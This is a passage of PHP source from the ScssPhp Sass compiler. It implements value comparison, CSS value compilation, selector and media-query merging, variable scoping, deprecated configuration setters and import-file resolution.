     * Compare number1 != number2
     *
     * @param array|Number $left
     * @param array|Number $right
     *
     * @return array
     */
    protected function opNeq($left, $right)
    {
        if (($lStr = $this->coerceString($left)) && ($rStr = $this->coerceString($right))) {
            $lStr[1] = '';
            $rStr[1] = '';

            $left = $this->compileValue($lStr);
            $right = $this->compileValue($rStr);
        }

        return $this->toBool($left !== $right);
    }

    /**
     * Compare number1 == number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opEqNumberNumber(Number $left, Number $right)
    {
        return $this->toBool($left->equals($right));
    }

    /**
     * Compare number1 != number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opNeqNumberNumber(Number $left, Number $right)
    {
        return $this->toBool(!$left->equals($right));
    }

    /**
     * Compare number1 >= number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opGteNumberNumber(Number $left, Number $right)
    {
        return $this->toBool($left->greaterThanOrEqual($right));
    }

    /**
     * Compare number1 > number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opGtNumberNumber(Number $left, Number $right)
    {
        return $this->toBool($left->greaterThan($right));
    }

    /**
     * Compare number1 <= number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opLteNumberNumber(Number $left, Number $right)
    {
        return $this->toBool($left->lessThanOrEqual($right));
    }

    /**
     * Compare number1 < number2
     *
     * @param Number $left
     * @param Number $right
     *
     * @return array
     */
    protected function opLtNumberNumber(Number $left, Number $right)
    {
        return $this->toBool($left->lessThan($right));
    }

    /**
     * Cast to boolean
     *
     * @api
     *
     * @param bool $thing
     *
     * @return array
     */
    public function toBool($thing)
    {
        return $thing ? static::$true : static::$false;
    }

    /**
     * Escape non printable chars in strings output as in dart-sass
     *
     * @internal
     *
     * @param string $string
     * @param bool   $inKeyword
     *
     * @return string
     */
    public function escapeNonPrintableChars($string, $inKeyword = false)
    {
        static $replacement = [];
        if (empty($replacement[$inKeyword])) {
            for ($i = 0; $i < 32; $i++) {
                if ($i !== 9 || $inKeyword) {
                    $replacement[$inKeyword][chr($i)] = '\\' . dechex($i) . ($inKeyword ? ' ' : chr(0));
                }
            }
        }
        $string = str_replace(array_keys($replacement[$inKeyword]), array_values($replacement[$inKeyword]), $string);
        // chr(0) is not a possible char from the input, so any chr(0) comes from our escaping replacement
        if (strpos($string, chr(0)) !== false) {
            if (substr($string, -1) === chr(0)) {
                $string = substr($string, 0, -1);
            }
            $string = str_replace(
                [chr(0) . '\\',chr(0) . ' '],
                [ '\\', ' '],
                $string
            );
            if (strpos($string, chr(0)) !== false) {
                $parts = explode(chr(0), $string);
                $string = array_shift($parts);
                while (count($parts)) {
                    $next = array_shift($parts);
                    if (strpos("0123456789abcdefABCDEF" . chr(9), $next[0]) !== false) {
                        $string .= " ";
                    }
                    $string .= $next;
                }
            }
        }

        return $string;
    }

    /**
     * Compiles a primitive value into a CSS property value.
     *
     * Values in scssphp are typed by being wrapped in arrays, their format is
     * typically:
     *
     *     array(type, contents [, additional_contents]*)
     *
     * The input is expected to be reduced. This function will not work on
     * things like expressions and variables.
     *
     * @api
     *
     * @param array|Number $value
     * @param bool         $quote
     *
     * @return string
     */
    public function compileValue($value, $quote = true)
    {
        $value = $this->reduce($value);

        if ($value instanceof Number) {
            return $value->output($this);
        }

        switch ($value[0]) {
            case Type::T_KEYWORD:
                return $this->escapeNonPrintableChars($value[1], true);

            case Type::T_COLOR:
                // [1] - red component (either number for a %)
                // [2] - green component
                // [3] - blue component
                // [4] - optional alpha component
                list(, $r, $g, $b) = $value;

                $r = $this->compileRGBAValue($r);
                $g = $this->compileRGBAValue($g);
                $b = $this->compileRGBAValue($b);

                if (\count($value) === 5) {
                    $alpha = $this->compileRGBAValue($value[4], true);

                    if (! is_numeric($alpha) || $alpha < 1) {
                        $colorName = Colors::RGBaToColorName($r, $g, $b, $alpha);

                        if (! \is_null($colorName)) {
                            return $colorName;
                        }

                        if (is_numeric($alpha)) {
                            $a = new Number($alpha, '');
                        } else {
                            $a = $alpha;
                        }

                        return 'rgba(' . $r . ', ' . $g . ', ' . $b . ', ' . $a . ')';
                    }
                }

                if (! is_numeric($r) || ! is_numeric($g) || ! is_numeric($b)) {
                    return 'rgb(' . $r . ', ' . $g . ', ' . $b . ')';
                }

                $colorName = Colors::RGBaToColorName($r, $g, $b);

                if (! \is_null($colorName)) {
                    return $colorName;
                }

                $h = sprintf('#%02x%02x%02x', $r, $g, $b);

                // Converting hex color to short notation (e.g. #003399 to #039)
                if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6]) {
                    $h = '#' . $h[1] . $h[3] . $h[5];
                }

                return $h;

            case Type::T_STRING:
                $content = $this->compileStringContent($value, $quote);

                if ($value[1] && $quote) {
                    $content = str_replace('\\', '\\\\', $content);

                    $content = $this->escapeNonPrintableChars($content);

                    // force double quote as string quote for the output in certain cases
                    if (
                        $value[1] === "'" &&
                        (strpos($content, '"') === false or strpos($content, "'") !== false) &&
                        strpbrk($content, '{}\\\'') !== false
                    ) {
                        $value[1] = '"';
                    } elseif (
                        $value[1] === '"' &&
                        (strpos($content, '"') !== false and strpos($content, "'") === false)
                    ) {
                        $value[1] = "'";
                    }

                    $content = str_replace($value[1], '\\' . $value[1], $content);
                }

                return $value[1] . $content . $value[1];

            case Type::T_FUNCTION:
                $args = ! empty($value[2]) ? $this->compileValue($value[2], $quote) : '';

                return "$value[1]($args)";

            case Type::T_FUNCTION_REFERENCE:
                $name = ! empty($value[2]) ? $value[2] : '';

                return "get-function(\"$name\")";

            case Type::T_LIST:
                $value = $this->extractInterpolation($value);

                if ($value[0] !== Type::T_LIST) {
                    return $this->compileValue($value, $quote);
                }

                list(, $delim, $items) = $value;
                $pre = $post = '';

                if (! empty($value['enclosing'])) {
                    switch ($value['enclosing']) {
                        case 'parent':
                            //$pre = '(';
                            //$post = ')';
                            break;
                        case 'forced_parent':
                            $pre = '(';
                            $post = ')';
                            break;
                        case 'bracket':
                        case 'forced_bracket':
                            $pre = '[';
                            $post = ']';
                            break;
                    }
                }

                $prefix_value = '';

                if ($delim !== ' ') {
                    $prefix_value = ' ';
                }

                $filtered = [];

                $same_string_quote = null;
                foreach ($items as $item) {
                    if (\is_null($same_string_quote)) {
                        $same_string_quote = false;
                        if ($item[0] === Type::T_STRING) {
                            $same_string_quote = $item[1];
                            foreach ($items as $ii) {
                                if ($ii[0] !== Type::T_STRING) {
                                    $same_string_quote = false;
                                    break;
                                }
                            }
                        }
                    }
                    if ($item[0] === Type::T_NULL) {
                        continue;
                    }
                    if ($same_string_quote === '"' && $item[0] === Type::T_STRING && $item[1]) {
                        $item[1] = $same_string_quote;
                    }

                    $compiled = $this->compileValue($item, $quote);

                    if ($prefix_value && \strlen($compiled)) {
                        $compiled = $prefix_value . $compiled;
                    }

                    $filtered[] = $compiled;
                }

                return $pre . substr(implode("$delim", $filtered), \strlen($prefix_value)) . $post;

            case Type::T_MAP:
                $keys     = $value[1];
                $values   = $value[2];
                $filtered = [];

                for ($i = 0, $s = \count($keys); $i < $s; $i++) {
                    $filtered[$this->compileValue($keys[$i], $quote)] = $this->compileValue($values[$i], $quote);
                }

                array_walk($filtered, function (&$value, $key) {
                    $value = $key . ': ' . $value;
                });

                return '(' . implode(', ', $filtered) . ')';

            case Type::T_INTERPOLATED:
                // node created by extractInterpolation
                list(, $interpolate, $left, $right) = $value;
                list(,, $whiteLeft, $whiteRight) = $interpolate;

                $delim = $left[1];

                if ($delim && $delim !== ' ' && ! $whiteLeft) {
                    $delim .= ' ';
                }

                $left = \count($left[2]) > 0
                    ?  $this->compileValue($left, $quote) . $delim . $whiteLeft
                    : '';

                $delim = $right[1];

                if ($delim && $delim !== ' ') {
                    $delim .= ' ';
                }

                $right = \count($right[2]) > 0 ?
                    $whiteRight . $delim . $this->compileValue($right, $quote) : '';

                return $left . $this->compileValue($interpolate, $quote) . $right;

            case Type::T_INTERPOLATE:
                // strip quotes if it's a string
                $reduced = $this->reduce($value[1]);

                if ($reduced instanceof Number) {
                    return $this->compileValue($reduced, $quote);
                }

                switch ($reduced[0]) {
                    case Type::T_LIST:
                        $reduced = $this->extractInterpolation($reduced);

                        if ($reduced[0] !== Type::T_LIST) {
                            break;
                        }

                        list(, $delim, $items) = $reduced;

                        if ($delim !== ' ') {
                            $delim .= ' ';
                        }

                        $filtered = [];

                        foreach ($items as $item) {
                            if ($item[0] === Type::T_NULL) {
                                continue;
                            }

                            if ($item[0] === Type::T_STRING) {
                                $filtered[] = $this->compileStringContent($item, $quote);
                            } elseif ($item[0] === Type::T_KEYWORD) {
                                $filtered[] = $item[1];
                            } else {
                                $filtered[] = $this->compileValue($item, $quote);
                            }
                        }

                        $reduced = [Type::T_KEYWORD, implode("$delim", $filtered)];
                        break;

                    case Type::T_STRING:
                        $reduced = [Type::T_STRING, '', [$this->compileStringContent($reduced)]];
                        break;

                    case Type::T_NULL:
                        $reduced = [Type::T_KEYWORD, ''];
                }

                return $this->compileValue($reduced, $quote);

            case Type::T_NULL:
                return 'null';

            case Type::T_COMMENT:
                return $this->compileCommentValue($value);

            default:
                throw $this->error('unknown value type: ' . json_encode($value));
        }
    }

    /**
     * @param array|Number $value
     *
     * @return string
     */
    protected function compileDebugValue($value)
    {
        $value = $this->reduce($value, true);

        if ($value instanceof Number) {
            return $this->compileValue($value);
        }

        switch ($value[0]) {
            case Type::T_STRING:
                return $this->compileStringContent($value);

            default:
                return $this->compileValue($value);
        }
    }

    /**
     * Flatten list
     *
     * @param array $list
     *
     * @return string
     *
     * @deprecated
     */
    protected function flattenList($list)
    {
        @trigger_error(sprintf('The "%s" method is deprecated.', __METHOD__), E_USER_DEPRECATED);

        return $this->compileValue($list);
    }

    /**
     * Gets the text of a Sass string
     *
     * Calling this method on anything else than a SassString is unsupported. Use {@see assertString} first
     * to ensure that the value is indeed a string.
     *
     * @param array $value
     *
     * @return string
     */
    public function getStringText(array $value)
    {
        if ($value[0] !== Type::T_STRING) {
            throw new \InvalidArgumentException('The argument is not a sass string. Did you forgot to use "assertString"?');
        }

        return $this->compileStringContent($value);
    }

    /**
     * Compile string content
     *
     * @param array $string
     * @param bool  $quote
     *
     * @return string
     */
    protected function compileStringContent($string, $quote = true)
    {
        $parts = [];

        foreach ($string[2] as $part) {
            if (\is_array($part) || $part instanceof Number) {
                $parts[] = $this->compileValue($part, $quote);
            } else {
                $parts[] = $part;
            }
        }

        return implode($parts);
    }

    /**
     * Extract interpolation; it doesn't need to be recursive, compileValue will handle that
     *
     * @param array $list
     *
     * @return array
     */
    protected function extractInterpolation($list)
    {
        $items = $list[2];

        foreach ($items as $i => $item) {
            if ($item[0] === Type::T_INTERPOLATE) {
                $before = [Type::T_LIST, $list[1], \array_slice($items, 0, $i)];
                $after  = [Type::T_LIST, $list[1], \array_slice($items, $i + 1)];

                return [Type::T_INTERPOLATED, $item, $before, $after];
            }
        }

        return $list;
    }

    /**
     * Find the final set of selectors
     *
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param \ScssPhp\ScssPhp\Block                $selfParent
     *
     * @return array
     */
    protected function multiplySelectors(Environment $env, $selfParent = null)
    {
        $envs            = $this->compactEnv($env);
        $selectors       = [];
        $parentSelectors = [[]];

        $selfParentSelectors = null;

        if (! \is_null($selfParent) && $selfParent->selectors) {
            $selfParentSelectors = $this->evalSelectors($selfParent->selectors);
        }

        while ($env = array_pop($envs)) {
            if (empty($env->selectors)) {
                continue;
            }

            $selectors = $env->selectors;

            do {
                $stillHasSelf  = false;
                $prevSelectors = $selectors;
                $selectors     = [];

                foreach ($parentSelectors as $parent) {
                    foreach ($prevSelectors as $selector) {
                        if ($selfParentSelectors) {
                            foreach ($selfParentSelectors as $selfParent) {
                                // if no '&' in the selector, each call will give same result, only add once
                                $s = $this->joinSelectors($parent, $selector, $stillHasSelf, $selfParent);
                                $selectors[serialize($s)] = $s;
                            }
                        } else {
                            $s = $this->joinSelectors($parent, $selector, $stillHasSelf);
                            $selectors[serialize($s)] = $s;
                        }
                    }
                }
            } while ($stillHasSelf);

            $parentSelectors = $selectors;
        }

        $selectors = array_values($selectors);

        // case we are just starting a at-root : nothing to multiply but parentSelectors
        if (! $selectors && $selfParentSelectors) {
            $selectors = $selfParentSelectors;
        }

        return $selectors;
    }

    /**
     * Join selectors; looks for & to replace, or append parent before child
     *
     * @param array   $parent
     * @param array   $child
     * @param boolean $stillHasSelf
     * @param array   $selfParentSelectors

     * @return array
     */
    protected function joinSelectors($parent, $child, &$stillHasSelf, $selfParentSelectors = null)
    {
        $setSelf = false;
        $out = [];

        foreach ($child as $part) {
            $newPart = [];

            foreach ($part as $p) {
                // only replace & once and should be recalled to be able to make combinations
                if ($p === static::$selfSelector && $setSelf) {
                    $stillHasSelf = true;
                }

                if ($p === static::$selfSelector && ! $setSelf) {
                    $setSelf = true;

                    if (\is_null($selfParentSelectors)) {
                        $selfParentSelectors = $parent;
                    }

                    foreach ($selfParentSelectors as $i => $parentPart) {
                        if ($i > 0) {
                            $out[] = $newPart;
                            $newPart = [];
                        }

                        foreach ($parentPart as $pp) {
                            if (\is_array($pp)) {
                                $flatten = [];

                                array_walk_recursive($pp, function ($a) use (&$flatten) {
                                    $flatten[] = $a;
                                });

                                $pp = implode($flatten);
                            }

                            $newPart[] = $pp;
                        }
                    }
                } else {
                    $newPart[] = $p;
                }
            }

            $out[] = $newPart;
        }

        return $setSelf ? $out : array_merge($parent, $child);
    }

    /**
     * Multiply media
     *
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param array                                 $childQueries
     *
     * @return array
     */
    protected function multiplyMedia(Environment $env = null, $childQueries = null)
    {
        if (
            ! isset($env) ||
            ! empty($env->block->type) && $env->block->type !== Type::T_MEDIA
        ) {
            return $childQueries;
        }

        // plain old block, skip
        if (empty($env->block->type)) {
            return $this->multiplyMedia($env->parent, $childQueries);
        }

        $parentQueries = isset($env->block->queryList)
            ? $env->block->queryList
            : [[[Type::T_MEDIA_VALUE, $env->block->value]]];

        $store = [$this->env, $this->storeEnv];

        $this->env      = $env;
        $this->storeEnv = null;
        $parentQueries  = $this->evaluateMediaQuery($parentQueries);

        list($this->env, $this->storeEnv) = $store;

        if (\is_null($childQueries)) {
            $childQueries = $parentQueries;
        } else {
            $originalQueries = $childQueries;
            $childQueries = [];

            foreach ($parentQueries as $parentQuery) {
                foreach ($originalQueries as $childQuery) {
                    $childQueries[] = array_merge(
                        $parentQuery,
                        [[Type::T_MEDIA_TYPE, [Type::T_KEYWORD, 'all']]],
                        $childQuery
                    );
                }
            }
        }

        return $this->multiplyMedia($env->parent, $childQueries);
    }

    /**
     * Convert env linked list to stack
     *
     * @param Environment $env
     *
     * @return Environment[]
     *
     * @phpstan-return non-empty-array<Environment>
     */
    protected function compactEnv(Environment $env)
    {
        for ($envs = []; $env; $env = $env->parent) {
            $envs[] = $env;
        }

        return $envs;
    }

    /**
     * Convert env stack to singly linked list
     *
     * @param Environment[] $envs
     *
     * @return Environment
     *
     * @phpstan-param  non-empty-array<Environment> $envs
     */
    protected function extractEnv($envs)
    {
        for ($env = null; $e = array_pop($envs);) {
            $e->parent = $env;
            $env = $e;
        }

        return $env;
    }

    /**
     * Push environment
     *
     * @param \ScssPhp\ScssPhp\Block $block
     *
     * @return \ScssPhp\ScssPhp\Compiler\Environment
     */
    protected function pushEnv(Block $block = null)
    {
        $env = new Environment();
        $env->parent = $this->env;
        $env->parentStore = $this->storeEnv;
        $env->store  = [];
        $env->block  = $block;
        $env->depth  = isset($this->env->depth) ? $this->env->depth + 1 : 0;

        $this->env = $env;
        $this->storeEnv = null;

        return $env;
    }

    /**
     * Pop environment
     *
     * @return void
     */
    protected function popEnv()
    {
        $this->storeEnv = $this->env->parentStore;
        $this->env = $this->env->parent;
    }

    /**
     * Propagate vars from a just poped Env (used in @each and @for)
     *
     * @param array         $store
     * @param null|string[] $excludedVars
     *
     * @return void
     */
    protected function backPropagateEnv($store, $excludedVars = null)
    {
        foreach ($store as $key => $value) {
            if (empty($excludedVars) || ! \in_array($key, $excludedVars)) {
                $this->set($key, $value, true);
            }
        }
    }

    /**
     * Get store environment
     *
     * @return \ScssPhp\ScssPhp\Compiler\Environment
     */
    protected function getStoreEnv()
    {
        return isset($this->storeEnv) ? $this->storeEnv : $this->env;
    }

    /**
     * Set variable
     *
     * @param string                                $name
     * @param mixed                                 $value
     * @param boolean                               $shadow
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param mixed                                 $valueUnreduced
     *
     * @return void
     */
    protected function set($name, $value, $shadow = false, Environment $env = null, $valueUnreduced = null)
    {
        $name = $this->normalizeName($name);

        if (! isset($env)) {
            $env = $this->getStoreEnv();
        }

        if ($shadow) {
            $this->setRaw($name, $value, $env, $valueUnreduced);
        } else {
            $this->setExisting($name, $value, $env, $valueUnreduced);
        }
    }

    /**
     * Set existing variable
     *
     * @param string                                $name
     * @param mixed                                 $value
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param mixed                                 $valueUnreduced
     *
     * @return void
     */
    protected function setExisting($name, $value, Environment $env, $valueUnreduced = null)
    {
        $storeEnv = $env;
        $specialContentKey = static::$namespaces['special'] . 'content';

        $hasNamespace = $name[0] === '^' || $name[0] === '@' || $name[0] === '%';

        $maxDepth = 10000;

        for (;;) {
            if ($maxDepth-- <= 0) {
                break;
            }

            if (\array_key_exists($name, $env->store)) {
                break;
            }

            if (! $hasNamespace && isset($env->marker)) {
                if (! empty($env->store[$specialContentKey])) {
                    $env = $env->store[$specialContentKey]->scope;
                    continue;
                }

                if (! empty($env->declarationScopeParent)) {
                    $env = $env->declarationScopeParent;
                    continue;
                } else {
                    $env = $storeEnv;
                    break;
                }
            }

            if (isset($env->parentStore)) {
                $env = $env->parentStore;
            } elseif (isset($env->parent)) {
                $env = $env->parent;
            } else {
                $env = $storeEnv;
                break;
            }
        }

        $env->store[$name] = $value;

        if ($valueUnreduced) {
            $env->storeUnreduced[$name] = $valueUnreduced;
        }
    }

    /**
     * Set raw variable
     *
     * @param string                                $name
     * @param mixed                                 $value
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param mixed                                 $valueUnreduced
     *
     * @return void
     */
    protected function setRaw($name, $value, Environment $env, $valueUnreduced = null)
    {
        $env->store[$name] = $value;

        if ($valueUnreduced) {
            $env->storeUnreduced[$name] = $valueUnreduced;
        }
    }

    /**
     * Get variable
     *
     * @internal
     *
     * @param string                                $name
     * @param boolean                               $shouldThrow
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     * @param boolean                               $unreduced
     *
     * @return mixed|null
     */
    public function get($name, $shouldThrow = true, Environment $env = null, $unreduced = false)
    {
        $normalizedName = $this->normalizeName($name);
        $specialContentKey = static::$namespaces['special'] . 'content';

        if (! isset($env)) {
            $env = $this->getStoreEnv();
        }

        $hasNamespace = $normalizedName[0] === '^' || $normalizedName[0] === '@' || $normalizedName[0] === '%';

        $maxDepth = 10000;

        for (;;) {
            if ($maxDepth-- <= 0) {
                break;
            }

            if (\array_key_exists($normalizedName, $env->store)) {
                if ($unreduced && isset($env->storeUnreduced[$normalizedName])) {
                    return $env->storeUnreduced[$normalizedName];
                }

                return $env->store[$normalizedName];
            }

            if (! $hasNamespace && isset($env->marker)) {
                if (! empty($env->store[$specialContentKey])) {
                    $env = $env->store[$specialContentKey]->scope;
                    continue;
                }

                if (! empty($env->declarationScopeParent)) {
                    $env = $env->declarationScopeParent;
                } else {
                    $env = $this->rootEnv;
                }
                continue;
            }

            if (isset($env->parentStore)) {
                $env = $env->parentStore;
            } elseif (isset($env->parent)) {
                $env = $env->parent;
            } else {
                break;
            }
        }

        if ($shouldThrow) {
            throw $this->error("Undefined variable \$$name" . ($maxDepth <= 0 ? ' (infinite recursion)' : ''));
        }

        // found nothing
        return null;
    }

    /**
     * Has variable?
     *
     * @param string                                $name
     * @param \ScssPhp\ScssPhp\Compiler\Environment $env
     *
     * @return boolean
     */
    protected function has($name, Environment $env = null)
    {
        return ! \is_null($this->get($name, false, $env));
    }

    /**
     * Inject variables
     *
     * @param array $args
     *
     * @return void
     */
    protected function injectVariables(array $args)
    {
        if (empty($args)) {
            return;
        }

        $parser = $this->parserFactory(__METHOD__);

        foreach ($args as $name => $strValue) {
            if ($name[0] === '$') {
                $name = substr($name, 1);
            }

            if (!\is_string($strValue) || ! $parser->parseValue($strValue, $value)) {
                $value = $this->coerceValue($strValue);
            }

            $this->set($name, $value);
        }
    }

    /**
     * Replaces variables.
     *
     * @param array<string, mixed> $variables
     *
     * @return void
     */
    public function replaceVariables(array $variables)
    {
        $this->registeredVars = [];
        $this->addVariables($variables);
    }

    /**
     * Replaces variables.
     *
     * @param array<string, mixed> $variables
     *
     * @return void
     */
    public function addVariables(array $variables)
    {
        $triggerWarning = false;

        foreach ($variables as $name => $value) {
            if (!$value instanceof Number && !\is_array($value)) {
                $triggerWarning = true;
            }

            $this->registeredVars[$name] = $value;
        }

        if ($triggerWarning) {
            @trigger_error('Passing raw values to as custom variables to the Compiler is deprecated. Use "\ScssPhp\ScssPhp\ValueConverter::parseValue" or "\ScssPhp\ScssPhp\ValueConverter::fromPhp" to convert them instead.', E_USER_DEPRECATED);
        }
    }

    /**
     * Set variables
     *
     * @api
     *
     * @param array $variables
     *
     * @return void
     *
     * @deprecated Use "addVariables" or "replaceVariables" instead.
     */
    public function setVariables(array $variables)
    {
        @trigger_error('The method "setVariables" of the Compiler is deprecated. Use the "addVariables" method for the equivalent behavior or "replaceVariables" if merging with previous variables was not desired.');

        $this->addVariables($variables);
    }

    /**
     * Unset variable
     *
     * @api
     *
     * @param string $name
     *
     * @return void
     */
    public function unsetVariable($name)
    {
        unset($this->registeredVars[$name]);
    }

    /**
     * Returns list of variables
     *
     * @api
     *
     * @return array
     */
    public function getVariables()
    {
        return $this->registeredVars;
    }

    /**
     * Adds to list of parsed files
     *
     * @internal
     *
     * @param string|null $path
     *
     * @return void
     */
    public function addParsedFile($path)
    {
        if (! \is_null($path) && is_file($path)) {
            $this->parsedFiles[realpath($path)] = filemtime($path);
        }
    }

    /**
     * Returns list of parsed files
     *
     * @deprecated
     * @return array<string, int>
     */
    public function getParsedFiles()
    {
        @trigger_error('The method "getParsedFiles" of the Compiler is deprecated. Use the "getIncludedFiles" method on the CompilationResult instance returned by compileString() instead. Be careful that the signature of the method is different.', E_USER_DEPRECATED);
        return $this->parsedFiles;
    }

    /**
     * Add import path
     *
     * @api
     *
     * @param string|callable $path
     *
     * @return void
     */
    public function addImportPath($path)
    {
        if (! \in_array($path, $this->importPaths)) {
            $this->importPaths[] = $path;
        }
    }

    /**
     * Set import paths
     *
     * @api
     *
     * @param string|array<string|callable> $path
     *
     * @return void
     */
    public function setImportPaths($path)
    {
        $paths = (array) $path;
        $actualImportPaths = array_filter($paths, function ($path) {
            return $path !== '';
        });

        $this->legacyCwdImportPath = \count($actualImportPaths) !== \count($paths);

        if ($this->legacyCwdImportPath) {
            @trigger_error('Passing an empty string in the import paths to refer to the current working directory is deprecated. If that\'s the intended behavior, the value of "getcwd()" should be used directly instead. If this was used for resolving relative imports of the input alongside "chdir" with the source directory, the path of the input file should be passed to "compileString()" instead.', E_USER_DEPRECATED);
        }

        $this->importPaths = $actualImportPaths;
    }

    /**
     * Set number precision
     *
     * @api
     *
     * @param integer $numberPrecision
     *
     * @return void
     *
     * @deprecated The number precision is not configurable anymore. The default is enough for all browsers.
     */
    public function setNumberPrecision($numberPrecision)
    {
        @trigger_error('The number precision is not configurable anymore. '
            . 'The default is enough for all browsers.', E_USER_DEPRECATED);
    }

    /**
     * Sets the output style.
     *
     * @api
     *
     * @param string $style One of the OutputStyle constants
     *
     * @return void
     *
     * @phpstan-param OutputStyle::* $style
     */
    public function setOutputStyle($style)
    {
        switch ($style) {
            case OutputStyle::EXPANDED:
                $this->formatter = Expanded::class;
                break;

            case OutputStyle::COMPRESSED:
                $this->formatter = Compressed::class;
                break;

            default:
                throw new \InvalidArgumentException(sprintf('Invalid output style "%s".', $style));
        }
    }

    /**
     * Set formatter
     *
     * @api
     *
     * @param string $formatterName
     *
     * @return void
     *
     * @deprecated Use {@see setOutputStyle} instead.
     */
    public function setFormatter($formatterName)
    {
        if (!\in_array($formatterName, [Expanded::class, Compressed::class], true)) {
            @trigger_error('Formatters other than Expanded and Compressed are deprecated.', E_USER_DEPRECATED);
        }
        @trigger_error('The method "setFormatter" is deprecated. Use "setOutputStyle" instead.', E_USER_DEPRECATED);

        $this->formatter = $formatterName;
    }

    /**
     * Set line number style
     *
     * @api
     *
     * @param string $lineNumberStyle
     *
     * @return void
     *
     * @deprecated The line number output is not supported anymore. Use source maps instead.
     */
    public function setLineNumberStyle($lineNumberStyle)
    {
        @trigger_error('The line number output is not supported anymore. '
                       . 'Use source maps instead.', E_USER_DEPRECATED);
    }

    /**
     * Enable/disable source maps
     *
     * @api
     *
     * @param integer $sourceMap
     *
     * @return void
     *
     * @phpstan-param self::SOURCE_MAP_* $sourceMap
     */
    public function setSourceMap($sourceMap)
    {
        $this->sourceMap = $sourceMap;
    }

    /**
     * Set source map options
     *
     * @api
     *
     * @param array $sourceMapOptions
     *
     * @phpstan-param  array{sourceRoot?: string, sourceMapFilename?: string|null, sourceMapURL?: string|null, sourceMapWriteTo?: string|null, outputSourceFiles?: bool, sourceMapRootpath?: string, sourceMapBasepath?: string} $sourceMapOptions
     *
     * @return void
     */
    public function setSourceMapOptions($sourceMapOptions)
    {
        $this->sourceMapOptions = $sourceMapOptions;
    }

    /**
     * Register function
     *
     * @api
     *
     * @param string        $name
     * @param callable      $callback
     * @param string[]|null $argumentDeclaration
     *
     * @return void
     */
    public function registerFunction($name, $callback, $argumentDeclaration = null)
    {
        if (self::isNativeFunction($name)) {
            @trigger_error(sprintf('The "%s" function is a core sass function. Overriding it with a custom implementation through "%s" is deprecated and won\'t be supported in ScssPhp 2.0 anymore.', $name, __METHOD__), E_USER_DEPRECATED);
        }

        if ($argumentDeclaration === null) {
            @trigger_error('Omitting the argument declaration when registering custom function is deprecated and won\'t be supported in ScssPhp 2.0 anymore.', E_USER_DEPRECATED);
        }

        $this->userFunctions[$this->normalizeName($name)] = [$callback, $argumentDeclaration];
    }

    /**
     * Unregister function
     *
     * @api
     *
     * @param string $name
     *
     * @return void
     */
    public function unregisterFunction($name)
    {
        unset($this->userFunctions[$this->normalizeName($name)]);
    }

    /**
     * Add feature
     *
     * @api
     *
     * @param string $name
     *
     * @return void
     *
     * @deprecated Registering additional features is deprecated.
     */
    public function addFeature($name)
    {
        @trigger_error('Registering additional features is deprecated.', E_USER_DEPRECATED);

        $this->registeredFeatures[$name] = true;
    }

    /**
     * Import file
     *
     * @param string                                 $path
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     *
     * @return void
     */
    protected function importFile($path, OutputBlock $out)
    {
        $this->pushCallStack('import ' . $this->getPrettyPath($path));
        // see if tree is cached
        $realPath = realpath($path);

        if (substr($path, -5) === '.sass') {
            $this->sourceIndex = \count($this->sourceNames);
            $this->sourceNames[] = $path;
            $this->sourceLine = 1;
            $this->sourceColumn = 1;

            throw $this->error('The Sass indented syntax is not implemented.');
        }

        if (isset($this->importCache[$realPath])) {
            $this->handleImportLoop($realPath);

            $tree = $this->importCache[$realPath];
        } else {
            $code   = file_get_contents($path);
            $parser = $this->parserFactory($path);
            $tree   = $parser->parse($code);

            $this->importCache[$realPath] = $tree;
        }

        $currentDirectory = $this->currentDirectory;
        $this->currentDirectory = dirname($path);

        $this->compileChildrenNoReturn($tree->children, $out);
        $this->currentDirectory = $currentDirectory;
        $this->popCallStack();
    }

    /**
     * Save the imported files with their resolving path context
     *
     * @param string|null $currentDirectory
     * @param string      $path
     * @param string      $filePath
     *
     * @return void
     */
    private function registerImport($currentDirectory, $path, $filePath)
    {
        $this->resolvedImports[] = ['currentDir' => $currentDirectory, 'path' => $path, 'filePath' => $filePath];
    }

    /**
     * Detects whether the import is a CSS import.
     *
     * For legacy reasons, custom importers are called for those, allowing them
     * to replace them with an actual Sass import. However this behavior is
     * deprecated. Custom importers are expected to return null when they receive
     * a CSS import.
     *
     * @param string $url
     *
     * @return bool
     */
    public static function isCssImport($url)
    {
        return 1 === preg_match('~\.css$|^https?://|^//~', $url);
    }

    /**
     * Return the file path for an import url if it exists
     *
     * @internal
     *
     * @param string      $url
     * @param string|null $currentDir
     *
     * @return string|null
     */
    public function findImport($url, $currentDir = null)
    {
        // Vanilla css and external requests. These are not meant to be Sass imports.
        // Callback importers are still called for BC.
        if (self::isCssImport($url)) {
            foreach ($this->importPaths as $dir) {
                if (\is_string($dir)) {
                    continue;
                }

                if (\is_callable($dir)) {
                    // check custom callback for import path
                    $file = \call_user_func($dir, $url);

                    if (! \is_null($file)) {
                        if (\is_array($dir)) {
                            $callableDescription = (\is_object($dir[0]) ? \get_class($dir[0]) : $dir[0]).'::'.$dir[1];
                        } elseif ($dir instanceof \Closure) {
                            $r = new \ReflectionFunction($dir);
                            if (false !== strpos($r->name, '{closure}')) {
                                $callableDescription = sprintf('closure{%s:%s}', $r->getFileName(), $r->getStartLine());
                            } elseif ($class = $r->getClosureScopeClass()) {
                                $callableDescription = $class->name.'::'.$r->name;
                            } else {
                                $callableDescription = $r->name;
                            }
                        } elseif (\is_object($dir)) {
                            $callableDescription = \get_class($dir) . '::__invoke';
                        } else {
                            $callableDescription = 'callable'; // Fallback if we don't have a dedicated description
                        }
                        @trigger_error(sprintf('Returning a file to import for CSS or external references in custom importer callables is deprecated and will not be supported anymore in ScssPhp 2.0. This behavior is not compliant with the Sass specification. Update your "%s" importer.', $callableDescription), E_USER_DEPRECATED);

                        return $file;
                    }
                }
            }
            return null;
